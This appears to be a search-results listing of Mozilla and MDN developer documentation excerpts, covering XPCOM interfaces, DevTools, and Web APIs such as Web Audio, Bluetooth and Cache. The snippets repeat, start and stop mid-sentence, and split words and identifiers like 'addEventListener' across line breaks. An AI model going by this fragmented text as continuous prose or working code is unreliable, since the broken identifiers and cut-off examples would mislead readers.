... void listdescendents(in nsisupportsarray descendents); shutdown() void shutdown(in boolean shutdownchildren); setinvfeditsearchscope() void setinvfeditsearchscope(in boolean asearchthisfolder, in boolean asetonsubfolders); copydatatooutputstreamforappend() voi...
... void listdescendents(in nsisupportsarray descendents); shutdown() void shutdown(in boolean shutdownchildren); setinvfeditsearchscope() void setinvfeditsearchscope(in boolean asearchthisfolder, in boolean asetonsubfolders); copydatatooutputstreamforappend() void copydatatooutpu...
nsIParentalControlsService
ontext); attributes attribute type description blockfiledownloadsenabled boolean true if the current user account's parental controls restrictions include the blocking of all file downloads. read only. loggingenabled boolean true if the current user account has parental controls logging enabled. if this is true, applications should log relevant
events using log() method. read only. parentalcontrolsenabled boolean true if the current user account has parental controls restrictions enabled. read only. constants constant value description epclog_urivisit 1 this log entry type represents an access to web content. epclog_filedownload 2 this log entry type represents a file downloa...
...ean true if the current user account has parental controls restrictions enabled. read only. constants constant value description epclog_urivisit 1 this log entry type represents an access to web content. epclog_filedownload 2 this log entry type represents a file download. methods log() logs an application specific parental controls
event. void log( in short aentrytype, in boolean aflag, in nsiuri asource, in nsifile atarget optional ); parameters aentrytype the type of
event to log. see the constants for allowed values. aflag pass true if the
event was blocked or false if it was allowed. asource the uri source of the subject content. atarget optional the location to which the content was saved if it was not b...
... parental control filters. this method may block while the operating system presents user interface to handle the override request (such as an "enter an administrator's password" dialog box). boolean requesturioverride( in nsiuri atarget, in nsiinterfacerequestor awindowcontext optional ); parameters atarget the uri to be overridden. awindowcontext optional the window generating the
event. return value true if the block was successfully overridden, otherwise false. requesturioverrides() requests that a set of uris be allowed through the parental control filters. this method may block while the operating system presents user interface to handle the override request (such as an "enter an administrator's password" dialog box). boolean requesturioverrides( in nsiarray atarget...
... return value true if the block was successfully overridden, otherwise false. ...
nsIScriptError
ead only. outerwindowid unsigned long long the window id with which the error is associated. this is zero if the error was initialized by calling nsiscripterror.init() instead of initwithwindowid(). read only. sourceline astring the line from the file specified by sourcename. you are responsible for providing that line. you may pass null if you are lazy; that will pr
event showing the source line in javascript console. read only. sourcename astring the url of the file in which the error occurred. this will be a hyperlink in the javascript console, so you should use a real url. you may pass null if it's not applicable. read only. timestamp long long elapsed time, in milliseconds, from a platform-specific zero time to the time the messag...
... the text of the message to add to the log. sourcename the url of the file in which the error occurred. this will be a hyperlink in the javascript console, so you should use a real url. you may pass null if it's not applicable. sourceline the line number in the source file on which the error occurred. you are responsible for providing that line. you may pass null if you are lazy; that will pr
event showing the source line in javascript console. linenumber the number of the line where the error occurred. columnnumber the column number where the error occurred. this is used to draw an arrow pointing to the problem character. flags one of flags listed in flag constants. category a string indicating what kind of code caused the message. there are quite a few category strings and they do...
... the text of the message to add to the log. sourcename the url of the file in which the error occurred. this will be a hyperlink in the javascript console, so you should use a real url. you may pass null if it's not applicable. sourceline the line number in the source file on which the error occurred. you are responsible for providing that line. you may pass null if you are lazy; that will pr
event showing the source line in javascript console. linenumber the number of the line where the error occurred. columnnumber the column number where the error occurred. this is used to draw an arrow pointing to the problem character. flags one of the script error flag constants category a string indicating what kind of code caused the message. there are quite a few category strings and they ar...
...ome javascript" for logging exceptions caused by addon code. ...
nsIThreadPool
xpcom/threads/nsithreadpool.idlscriptable the nsithreadpool interface provides support for thread pools. 1.0 66 introduced gecko 1.9 inherits from: nsi
eventtarget last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) a thread pool provides a convenient way to process
events off the main thread. when you send
events to the thread pool, the pool creates a new thread to process the
event, up to the number of threads specified by the threadlimit attribute. method overview void shutdown(); attributes attribute type description idlethreadlimit unsigned long get/set the maximum number of idle threads that are kept alive. once there are more than this many idle worker threads, the idle thread...
...ore it becomes eligible to be destroyed. listener nsithreadpoollistener an optional listener that will be notified when a thread is created or destroyed in the course of the thread pool's operation. a listener will only receive notifications about threads created after the listener is set so it is recommended that the consumer set the listener before dispatching the first
event. a listener that receives an nsithreadpoollistener.onthreadcreated() notification is guaranteed to always receive the corresponding nsithreadpoollistener.onthreadshuttingdown() notification. the thread pool takes ownership of the listener and releases it when the shutdown() method is called. threads created after the listener is set will also take ownership of the listener so that the listene...
...ge this value by altering this attribute. methods shutdown() shuts down the thread pool. you must not call this method from any thread within the thread pool. ...
...ad, you should call it from another thread (typically the one that created the thread pool). ...
nsIWebProgressListener
s complete when onstatechange() is called for the same request with the state_stop flag set. state_redirecting 0x00000002 this flag indicates that a request is being redirected. the request passed to onstatechange() is the request that is being redirected. when a redirect occurs, a new request is generated automatically to process the new request. expect a corresponding state_start
event for the new request, and a state_stop for the redirected request. state_transferring 0x00000004 this flag indicates that data for a request is being transferred to an end consumer. this flag indicates that the request has been targeted, and that the user may start seeing content corresponding to the request. state_negotiating 0x00000008 this flag is not used. ...
..._negotiating 0x00000008 this flag is not used. state_stop 0x00000010 this flag indicates the completion of a request. the astatus parameter to onstatechange() indicates the final status of the request. state type flags these flags further describe the entity for which the state transition is occurring. these flags are not mutually exclusive (that is an onstatechange()
event may indicate some combination of these flags). constant value description state_is_request 0x00010000 this flag indicates that the state transition is for a request, which includes but is not limited to document requests. (see below for a description of document requests.) other types of requests, such as requests for inline content (for example images and styleshee...
...cument request completes, two onstatechange() calls with state_stop are generated. the document request is passed as arequest to both calls. the first has state_is_request and state_is_document set, and the second has the state_is_window flag set (and possibly the state_is_network flag set as well -- see above for a description of when the state_is_network flag may be set). this second state_stop
event may be useful as a way to partition the work that occurs when a document request completes. state modifier flags these flags further describe the entity for which the state transition is occurring. these flags are not mutually exclusive (that is an onstatechange()
event may indicate some combination of these flags). constant value description state_restoring 0x...
...e that indicates the current status of the request. this interface does not define the set of possible status codes. note: some status values are defined by nsitransport and nsisockettransport. amessage localized text corresponding to astatus. example the nsiwebprogresslistener for each tab: gbrowser.mtabprogresslistener can be used in the parent to listen for most nsiwebprogresslistener
events, but in browser code, will not have access to the nsiwebprogress's domwindow property. see the example below on how to use an nsiwebprogresslistener in a frame script to get access to the dom window. this example here shows you how to detect what flags are popping up where. it puts the messages into the browser console. /** * this example assumes that it's being run within the context of a b...
nsIWindowMediator
ce window below some window. methods addlistener() register a listener for window status changes. void addlistener( in nsiwindowmediatorlistener alistener ); parameters alistener the listener to register. example: of window listener object and how to register then unregister. this example below waits for listens to when a window opens, and then after that window opens it adds
event listener to listen to when the window completes loading, after that it fires a function. important: this will attach the functionality to future opened windows, so if you copy paste this code to scratchpad, then after running this script, you need to open a new window by pressing ctrl + n and then in the new window, selecting tabs will fire the alert. var {cc: classes, ci: interfaces} = componen...
...w by pressing ctrl + n and then in the new window, selecting tabs will fire the alert. ...
...s will fire the alert. ...
...mwindow.remove
eventlistener("load", arguments.callee, false); //this removes this load function from the window //window has now loaded now do stuff to it //as example this will add a function to listen to tab select and will fire alert in that window if (domwindow.gbrowser && domwindow.gbrowser.tabcontainer) { domwindow.gbrowser.tabcontainer.add
eventlistener('tabselect', function () { domwindow.alert('tab was selected') }, false); } }, false); }, onclosewindow: function (awindow) {}, onwindowtitlechange: function (awindow, atitle) {} }; //to register services.wm.addlistener(windowlistener); //services.wm.removelistener(windowlistener); //once you want to remove this listene...
Getting Started Guide
nscomptr is a "smart pointer". it is a template class that acts, syntactically, just like an ordinary pointer in c or c++, i.e., you can apply * or -> to it to "get to" what it points at. ...
...queries. however, be aware that if you should have queried but didn't, e.g., when assigning in a raw pointer where c++ allows the assignment, but xpcom wouldn't, nscomptr will assert at runtime. use do_queryinterface whenever you assign in a pointer to a xpcom interface of a different type, even if that type happens to derive from the base type of the nscomptr comparison 6. do_queryinterface pr
events xpcom type errors. class nsibar : public nsifoo ... { ... }; nsibar* p = ...; // c++ thinks every |nsibar*| is an // |nsifoo*|, therefore, c++ allows // this... nscomptr<nsifoo> foo = p; // ...even though it is an xpcom // type error class nsibar : public nsifoo ... { ... }; nsibar* p = ...; // no type error here... nscomptr<nsifoo> foo(do_qu...
...g a raw pointer you have already addrefed: // don't return raw pointers; that incites leaks... nsifoo* createfoo(); // returns an |addref|ed pointer // ... nscomptr<nsifoo> myfoo = createfoo(); // oops: leak; nscomptr<nsifoo> myfoo( dont_addref(createfoo()) ); // since |createfoo| already |addref|s its result, we must remind // our |nscomptr| not to. it's easy to forget. pr
event it in advance // by not returning pointers as function results, or else by returning // an |already_addrefed<t>| as above. void f( nscomptr<t> ) don't pass an nscomptr by value this practice is wasteful, but not otherwise harmful. there is no need to addref parameters, as they are guaranteed to live as long as the function call. you only need to addref them as you store them in...
...y as the signature above, this practice is wasteful, but not otherwise harmful, and has the same impact as passing an nscomptr by value if the caller only supplied a raw pointer. void f( nscomptr<t>* ) avoid passing an nscomptr by address, if possible this practice requires callers to have an nscomptr, and requires them to do a little extra work, as operator& for nscomptrs is private (to help pr
event leaks caused by casting; also see bug 59414). this is an acceptable way to declare `in/out' parameters, but prefer passing nscomptrs by reference, as below. // passing an |nscomptr| by pointer requires extra work... void f( nscomptr<nsifoo>* ); // ... nscomptr<nsifoo> myfoo = ...; f( address_of(myfoo) ); void f( nscomptr<t>& ) do pass an nscomptr by reference for `in...
Using COM from js-ctypes
}; struct myispvoicevtbl { /* start inherit from iunknown */ void* queryinterface; void* addref; ulong (__stdcall *release)(struct myispvoice*); /* end inherit from iunknown */ /* start inherit from ispnotifysource */ void* setnotifysink; void* setnotifywindowmessage; void* setnotifycallbackfunction; void* setnotifycallbackinterface; void* setnotifywin32
event; void* waitfornotify
event; void* getnotify
eventhandle; /* end inherit from ispnotifysource */ /* start inherit from isp
eventsource */ void* setinterest; void* get
events; void* getinfo; /* end inherit from isp
eventsource */ /* start ispvoice */ void* setoutput; void* getoutputobjecttoken; void* getoutputstream; void* pause; void* resume; ...
... ulong* pulstreamnumber); void* speakstream; void* getstatus; void* skip; void* setpriority; void* getpriority; void* setalertboundary; void* getalertboundary; void* setrate; void* getrate; void* setvolume; void* getvolume; void* waituntildone; void* setsyncspeaktimeout; void* getsyncspeaktimeout; void* speakcomplete
event; void* isuisupported; void* displayui; /* end ispvoice */ }; int main(void) { if (succeeded(coinitialize(null))) { struct myispvoice* pvoice = null; hresult hr = cocreateinstance(&clsid_spvoice, null, clsctx_all, &iid_ispvoice, (void**)&pvoice); if (succeeded(hr)) { pvoice->lpvtbl->speak(pvoice,...
... ispvoice.ptr ]).ptr }, // end inherit from iunknown // start inherit from ispnotifysource // can set to ctypes.voidptr_t if arent going to use it { 'setnotifysink': ctypes.voidptr_t }, { 'setnotifywindowmessage': ctypes.voidptr_t }, { 'setnotifycallbackfunction': ctypes.voidptr_t }, { 'setnotifycallbackinterface': ctypes.voidptr_t }, { 'setnotifywin32
event': ctypes.voidptr_t }, { 'waitfornotify
event': ctypes.voidptr_t }, { 'getnotify
eventhandle': ctypes.voidptr_t }, // end inherit from ispnotifysource // start inherit from isp
eventsource { 'setinterest': ctypes.voidptr_t }, { 'get
events': ctypes.voidptr_t }, { 'getinfo': ctypes.voidptr_t }, // end inherit from isp
eventsource // start ispvoice { 'setoutput': c...
... 'setalertboundary': ctypes.voidptr_t }, { 'getalertboundary': ctypes.voidptr_t }, { 'setrate': ctypes.voidptr_t }, { 'getrate': ctypes.voidptr_t }, { 'setvolume': ctypes.voidptr_t }, { 'getvolume': ctypes.voidptr_t }, { 'waituntildone': ctypes.voidptr_t }, { 'setsyncspeaktimeout': ctypes.voidptr_t }, { 'getsyncspeaktimeout': ctypes.voidptr_t }, { 'speakcomplete
event': ctypes.voidptr_t }, { 'isuisupported': ctypes.voidptr_t }, { 'displayui': ctypes.voidptr_t } // end ispvoice ]); // functions // http://msdn.microsoft.com/en-us/library/windows/desktop/ms695279%28v=vs.85%29.aspx let coinitializeex = lib.declare('coinitializeex', winabi, hresult, // result lpvoid, // pvreserved dword // dwcoinit ); // http://msdn.microsoft.
Gecko Plugin API Reference - Plugins
lding plug-ins building, platforms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native installers xpi plug-ins installations plug-in installation and the windows registry initialization and destruction initialization instance creation instance destruction shutdown initialize and shutdown example drawing and
event handling the npwindow structure drawing plug-ins printing the plug-in setting the window getting information windowed plug-ins mac os windows unix
event handling for windowed plug-ins windowless plug-ins specifying that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in...
... printing the plug-in setting the window getting information windowed plug-ins mac os windows unix
event handling for windowed plug-ins windowless plug-ins specifying that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in transparent creating pop-up menus and dialog boxes
event handling for windowless plug-ins streams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting ...
... are available from the plug-in object. the names of all of these methods begin with npp_ to indicate that they are implemented by the plug-in and called by the browser. for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. npp_destroy npp_destroystream npp_getvalue np_getvalue npp_handle
event np_initialize npp_new npp_newstream npp_print npp_setvalue npp_setwindow np_shutdown npp_streamasfile npp_urlnotify npp_write npp_writeready browser side plug-in api this chapter describes methods in the plug-in api that are available from the browser. the names of all of these methods begin with npn_ to indicate that they are implemented by the browser and called by the plug-in. ...
...ier npn_intfromidentifier npobject npn_createobject npn_retainobject npn_releaseobject npn_invoke npn_invokedefault npn_evaluate npn_getproperty npn_setproperty npn_removeproperty npn_hasproperty npn_hasmethod npn_setexception npclass structures npanycallbackstruct npbyterange npembedprint np
event npfullprint npp np_port npprint npprintcallbackstruct nprect npregion npsaveddata npsetwindowcallbackstruct npstream npwindow constants error codes result codes plug-in version constants version feature constants external resources external projects and articles for plugin creation original document information copyright information: netscape communication ...
Migrating from Firebug - Firefox Developer Tools
yles the computed values of css properties are displayed within the devtools' computed side panel like within firebug's computed side panel. the difference is that in the devtools the properties are always listed alphabetically and not grouped (see bug 977128) and there is no option to hide the mozilla specific styles, therefore there is an input field allowing to filter the properties. ...
...e computed values of css properties are displayed within the devtools' computed side panel like within firebug's computed side panel. the difference is that in the devtools the properties are always listed alphabetically and not grouped (see bug 977128) and there is no option to hide the mozilla specific styles, therefore there is an input field allowing to filter the properties. ...
...ithin the devtools' computed side panel like within firebug's computed side panel. the difference is that in the devtools the properties are always listed alphabetically and not grouped (see bug 977128) and there is no option to hide the mozilla specific styles, therefore there is an input field allowing to filter the properties. inspect
events
events assigned to an element are displayed in the
events side panel in firebug. in the devtools they are shown when clicking the small 'ev' icon besides an element within the node view. both tools allow to display wrapped
event listeners (e.g. listeners wrapped in jquery functions). to improve the ui of the devtools, there is also a request to add an
events side panel to them like the one in firebug (see bug 1226640). stop script execution on dom mut...
...ported though (see bug 963933. debugger what's the script panel in firebug, is the debugger panel in the devtools. both allow you to debug javascript code executed on a website. switch between sources firebug has a script location menu listing all javascript sources related to the website. those sources can be static, i.e. files, or they can be dynamically generated (i.e. scripts executed via
event handlers, eval(), new function(), etc.). in the devtools' debugger panel the scripts are listed at the left side within the sources side panel. dynamically generated scripts are only listed there when they are named via a //# sourceurl comment. managing breakpoints in firebug you can set different types of breakpoints, which are all listed within the breakpoints side panel. in the devtools the ...
Allocations - Firefox Developer Tools
he memory allocated by a site is in itself useful information to know. but the main connection between the allocation profile of a site and its responsiveness is the cost of garbage collection (gc). with a garbage-collected language, like javascript, the runtime periodically needs to walk the heap looking for objects that are no longer reachable, and then freeing the memory they occupy. while gc
events like this are executing, the javascript engine must be paused, so your program is suspended and will be completely unresponsive. to reduce the impact on responsiveness, spidermonkey (the javascript engine in firefox) can perform gc in small increments, letting the program run in between. sometimes, though, it needs to perform a full non-incremental collection, and the program has to wait for it...
...executing, the javascript engine must be paused, so your program is suspended and will be completely unresponsive. to reduce the impact on responsiveness, spidermonkey (the javascript engine in firefox) can perform gc in small increments, letting the program run in between. sometimes, though, it needs to perform a full non-incremental collection, and the program has to wait for it to finish. gc
events are shown as red markers in the waterfall view, and are a big red flag for responsiveness, sometimes running for hundreds of milliseconds: if you're seeing gc
events in your site's performance profile, what can you do? spidermonkey uses a complex set of heuristics to decide when to do what sort of garbage collection. in general, though: allocation pressure - allocating a lot of memory, or a...
...vents in your site's performance profile, what can you do? spidermonkey uses a complex set of heuristics to decide when to do what sort of garbage collection. in general, though: allocation pressure - allocating a lot of memory, or allocating memory at a high rate - makes spidermonkey more likely to run garbage collection, and more likely to run full, non-incremental garbage collection. if a gc
event was caused by allocation pressure, then the sidebar on the right of the marker in the waterfall view contains a link labeled "show allocation triggers". if you click this link, the devtools switches to the allocations view, and selects the region of time from the end of the last gc cycle to the start of the one you clicked on. this shows you all the allocations that collectively triggered this gc...
...was caused by allocation pressure, then the sidebar on the right of the marker in the waterfall view contains a link labeled "show allocation triggers". if you click this link, the devtools switches to the allocations view, and selects the region of time from the end of the last gc cycle to the start of the one you clicked on. this shows you all the allocations that collectively triggered this gc
event: if you're seeing these problems, consider whether you can reduce the number or size of the allocations you're making here. for example: can you allocate memory lazily, when it is actually needed, instead of up front? if allocating memory in a loop, can you reuse a single allocation in every loop iteration? ...
Console messages - Firefox Developer Tools
or thrown error) are shown with an async: prefix. css note: css warnings and reflow messages are not shown by default, for performance reasons (see bug 1452143). use the filtering feature to show them. some css messages contain a disclosure triangle at the left of the message. click it to view more information about the error, as well as which dom nodes are affected by the error. ...
... prefix. css note: css warnings and reflow messages are not shown by default, for performance reasons (see bug 1452143). use the filtering feature to show them. some css messages contain a disclosure triangle at the left of the message. click it to view more information about the error, as well as which dom nodes are affected by the error. reflow
events the web console also logs reflow
events under the css category. a reflow is the name given to the operation in which the browser calculates the layout of all or part of the page. reflows occur when a change has happened to a page that the browser thinks affects the layout. many
events can trigger reflows, including: resizing the browser window, activating pseudoclasses like :hover, or manipulating the dom in javascript. because reflo...
... has happened to a page that the browser thinks affects the layout. many
events can trigger reflows, including: resizing the browser window, activating pseudoclasses like :hover, or manipulating the dom in javascript. because reflows can be computationally expensive and directly affect the user interface, they can have a big impact on the responsiveness of a website or web app. by logging reflow
events the web console can give you insight into when reflow
events are being triggered, how long they take to execute and, if the reflows are synchronous reflows triggered from javascript, which code triggered them. reflow
events are logged as "reflow" messages, as distinct from css errors or warnings. by default, they are disabled. you can enable them by clicking the "css" button in the toolbar and ...
...egular expressions: /(cool|rad)/ and /(cool)/. you can negate a regular expression search by prefixing it with the - character. for example, -/(cool|rad)/ shows only items that do not match the expression /(cool|rad)/. clearing the log finally, you can use the trashcan icon on the left to clear the contents of the console. when you clear the console, the console cache is also cleared. this pr
events errors that have already been loged from reappearing when you reopen the console. ...
Animation.persist() - Web APIs
i's animation interface explicitly persists an animation, when it would otherwise be removed due to the browser's automatically removing filling animations behavior. syntax animation.persist(); parameters none. return value none. ...
...this could result in a huge animations list, which could create a memory leak. for this reason, modern browsers automatically remove overriding forward filling animations. ...
...this could result in a huge animations list, which could create a memory leak. for this reason, modern browsers automatically remove overriding forward filling animations. you can see the replacestate of the animation being logged at the end of the h...
...em.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.commitstyles(); //anim.persist() anim.onremove = function() { console.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an
event listener that fires the
event handler code whenever the mouse moves. the
event handler sets up an animation that animates the <div> element to the position of the mouse pointer. this could result in a huge animations list, which could create a memory leak. for this reason, modern browsers automatically remove overriding forward filling animations. you can see the replacestate of the animation being logged at the end of the handler. this will be active for each animation by...
Animation.replaceState - Web APIs
ation has been removed by the browser's automatically removing filling animations behavior. persisted: the animation has been explicitly persisted by invoking animation.persist() on it. removed: the animation has been explicitly removed. ...
...this could result in a huge animations list, which could create a memory leak. for this reason, modern browsers automatically remove overriding forward filling animations. ...
...this could result in a huge animations list, which could create a memory leak. for this reason, modern browsers automatically remove overriding forward filling animations. you can see the replacestate of the animation being logged at the end of the h...
...em.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.commitstyles(); //anim.persist() anim.onremove = function() { console.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an
event listener that fires the
event handler code whenever the mouse moves. the
event handler sets up an animation that animates the <div> element to the position of the mouse pointer. this could result in a huge animations list, which could create a memory leak. for this reason, modern browsers automatically remove overriding forward filling animations. you can see the replacestate of the animation being logged at the end of the handler. this will be active for each animation by...
AudioBufferSourceNode - Web APIs
d from disk, use a audioworkletnode to implement its playback. ...
...position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audionode" target="_top"><rect x="151" y="1" width="90" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#...
...if there's no buffer set—that is, if buffer is null—the output contains a single channel of silence (every sample is 0). an audiobuffersourcenode can only be played once; after each call to start(), you have to create a new no...
... true. the default value is 0. audiobuffersourcenode.playbackrate an a-rate audioparam that defines the speed factor at which the audio asset will be played, where a value of 1.0 is the sound's natural sampling rate. since no pitch correction is applied on the output, this can be used to change the pitch of the sample. this value is compounded with detune to determine the final playback rate.
event handlers inherits
event handlers from its parent, audioscheduledsourcenode. methods inherits methods from its parent, audioscheduledsourcenode. audiobuffersourcenode.start() used to schedule playback of the audio data contained in the buffer, or to begin playback immediately. examples in this example, we create a two-second buffer, fill it with white noise, and then play it using an aud...
AudioNode - Web APIs
lternode or convolvernode), or volume control (like gainnode) <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
... description the audio routing graph each audionode has inputs and outputs, and multiple audio nodes are connected to build a processing graph. this graph is contained in an audiocontext, and each audio node can only belong to one audio context. a source node has zero inputs but one o...
...de" target="_top"><rect x="151" y="1" width="90" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">audionode</text></a></svg></div> a:hover text { fill: #0095dd; pointer-
events: all;} note: an audionode can be target of
events, therefore it implements the
eventtarget interface. description the audio routing graph each audionode has inputs and outputs, and multiple audio nodes are connected to build a processing graph. this graph is contained in an audiocontext, and each audio node can only belong to one audio context. a source node has zero inputs but one or multiple outputs, and can be used to generate sound. o...
...sents an enumerated value describing the way channels must be matched between the node's inputs and outputs. audionode.channelinterpretation represents an enumerated value describing the meaning of the channels. this interpretation will define how audio up-mixing and down-mixing will happen. the possible values are "speakers" or "discrete". methods also implements methods from the interface
eventtarget. audionode.connect() allows us to connect the output of this node to be input into another node, either as audio data or as the value of an audioparam. audionode.disconnect() allows us to disconnect the current node from another one it is already connected to. example this simple snippet of code shows the creation of some audio nodes, and how the audionode properties and methods ca...
AudioTrackList.onaddtrack - Web APIs
the audiotracklist property onaddtrack is an
event handler which is called when the addtrack
event occurs, indicating that a new audio track has been added to the media element whose audio tracks the audiotracklist represents. the
event is passed into the
event handler in the form of a track
event object, whose track property identifies the newly-added track. note: you can also add a handler for the addtrack
event using add
eventlistener(). syntax audiotracklist.onaddtrack =
eventhandler; value set onaddtrack to a function that accepts as input a track
event object which indicates in its track property which audio track has been added to the media. ...
...rack
event object, whose track property identifies the newly-added track. note: you can also add a handler for the addtrack
event using add
eventlistener(). syntax audiotracklist.onaddtrack =
eventhandler; value set onaddtrack to a function that accepts as input a track
event object which indicates in its track property which audio track has been added to the media. usage notes the addtrack
event is called whenever a new track is added to the media element whose audio tracks are represented by the audiotracklist object. this happens when tracks are added to the element when the media is first attached to the element; one addtrack
event will occur for each audio track in the media resource. ...
...edia. usage notes the addtrack
event is called whenever a new track is added to the media element whose audio tracks are represented by the audiotracklist object. this happens when tracks are added to the element when the media is first attached to the element; one addtrack
event will occur for each audio track in the media resource. example this snippet establishes a handler for the addtrack
event that calls a function, addtotracklist(), passing in the audiotrack object representing the newly-added track. in this scenario, that function's role is to add the new track to a list of audio tracks available to choose from. ...
...each audio track in the media resource. example this snippet establishes a handler for the addtrack
event that calls a function, addtotracklist(), passing in the audiotrack object representing the newly-added track. in this scenario, that function's role is to add the new track to a list of audio tracks available to choose from. document.queryselector("video").audiotracks.onaddtrack = function(
event) { addtotracklist(
event.track); }; specifications specification status comment html living standardthe definition of 'audiotracklist.onaddtrack' in that specification. living standard html5the definition of 'audiotracklist.onaddtrack' in that specification. recommendation ...
Bluetooth - Web APIs
the bluetooth interface of the web bluetooth api returns a promise to a bluetoothdevice object with the specified options. interface interface bluetooth :
eventtarget { promise<boolean> getavailability(); attribute
eventhandler onavailabilitychanged; [sameobject] readonly attribute bluetoothdevice? referringdevice; promise<sequence<bluetoothdevice>> getdevices(); promise<bluetoothdevice> requestdevice(optional requestdeviceoptions options = {}); }; bluetooth includes bluetoothdevice
eventhandlers; bluetooth includes characteristic
eventhandlers; bluetooth includes service
eventhandlers; properties inherits properties from its parent
eventtarget. bluetooth.referringdevice read only returns a reference to the device, if any, from which the user opened the current page. for ...
... methods bluetooth.getavailability() returns a promise that resolved to a boolean indicating whether the user-agent has the ability to support bluetooth. ...
... methods bluetooth.getavailability() returns a promise that resolved to a boolean indicating whether the user-agent has the ability to support bluetooth. some user-agents let the user configure an option that affects what is returned by this value. if this option is set, that is the value returned by this method. ...
...rringdevice read only returns a reference to the device, if any, from which the user opened the current page. for example, an eddystone beacon might advertise a url, which the user agent allows the user to open. a bluetoothdevice representing the beacon would be available through navigator.bluetooth.referringdevice.
events bluetooth.onavailabilitychanged an
event handler that runs when an
event of type availabilitychanged has fired. methods bluetooth.getavailability() returns a promise that resolved to a boolean indicating whether the user-agent has the ability to support bluetooth. some user-agents let the user configure an option that affects what is returned by this value. if this option is set, that is the value returned by this method. bluetooth.getdevices() returns a promi...
Managing screen orientation - Web APIs
ss and javascript. the first is the orientation media query. this lets content adjust its layout using css, based on whether the browser window is in landscape mode (that is, its width is greater than its height) or portrait mode (its height is greater than its width). the second way is the javascript screen orientation api that can be used to get the current orientation of the screen itself and
eventually lock it. adjusting layout based on the orientation one of the most common cases for orientation changes is when you want to revise the layout of your content based on the orientation of the device. for example, perhaps you want a button bar to stretch along the longest dimension of the device's display. by using a media query, you can do this easily and automatically. let's have an exampl...
...he screen based on their own orientation, ensuring that the user will always be able to read what's on the screen. while this behavior is perfectly suited for text content, there is some content that can be negatively affected by such a change. for example, games based on the orientation of the device could be messed up by such a change of the orientation. ...
... to read what's on the screen. while this behavior is perfectly suited for text content, there is some content that can be negatively affected by such a change. for example, games based on the orientation of the device could be messed up by such a change of the orientation. the screen orientation api is made to pr
event or handle such a change. listening orientation change the orientationchange
event is triggered each time the device change the orientation of the screen and the orientation itself can be read with the screen.orientation property. screen.add
eventlistener("orientationchange", function () { console.log("the orientation of the screen is: " + screen.orientation); }); pr
eventing orientation change any web application can lock the screen to suits its own needs. the screen is lo...
...ortrait-secondary, landscape-primary, landscape-secondary, portrait, landscape (see screen.lockorientation to know more about each of those values). screen.lockorientation('landscape'); note: a screen lock is web application dependent. if application a is locked to landscape and application b is locked to portrait, switching from application a to b or b to a will not fire an orientationchange
event because both applications will keep the orientation they had. however, locking the orientation can fire an orientationchange
event if the orientation had to be changed to satisfy the lock requirements. ...
Cache.addAll() - Web APIs
exception happens when typeerror the url scheme is not http or https. ...
...es not return successfully, but also if the request is a cross-origin no-cors request (in which case the reported status is always 0.) examples this code block waits for an install
event to fire, then runs waituntil() to handle the install process for the app. this consists of calling cachestorage.open to create a new cache, then using addall() to add a series of assets to it. ...
...so if the request is a cross-origin no-cors request (in which case the reported status is always 0.) examples this code block waits for an install
event to fire, then runs waituntil() to handle the install process for the app. this consists of calling cachestorage.open to create a new cache, then using addall() to add a series of assets to it. ...
...equest is a cross-origin no-cors request (in which case the reported status is always 0.) examples this code block waits for an install
event to fire, then runs waituntil() to handle the install process for the app. this consists of calling cachestorage.open to create a new cache, then using addall() to add a series of assets to it. ...
CacheStorage.delete() - Web APIs
lse. you can access cachestorage through the global caches property. syntax caches.delete(cachename).then(function(boolean) { // your cache is now deleted }); parameters cachename the name of the cache you want to delete. return value a promise that resolves to true if the cache object is found and deleted, and false otherwise. ...
...ippet we wait for an activate
event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated. here we have an array of cache names we want to keep (cachestokeep). we return the keys of the caches in the cachestorage object using cachestorage.keys, then check each key to see if it is in the array. if not, we delete it using delete(). ...
..., and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated. here we have an array of cache names we want to keep (cachestokeep). we return the keys of the caches in the cachestorage object using cachestorage.keys, then check each key to see if it is in the array. if not, we delete it using delete(). ...
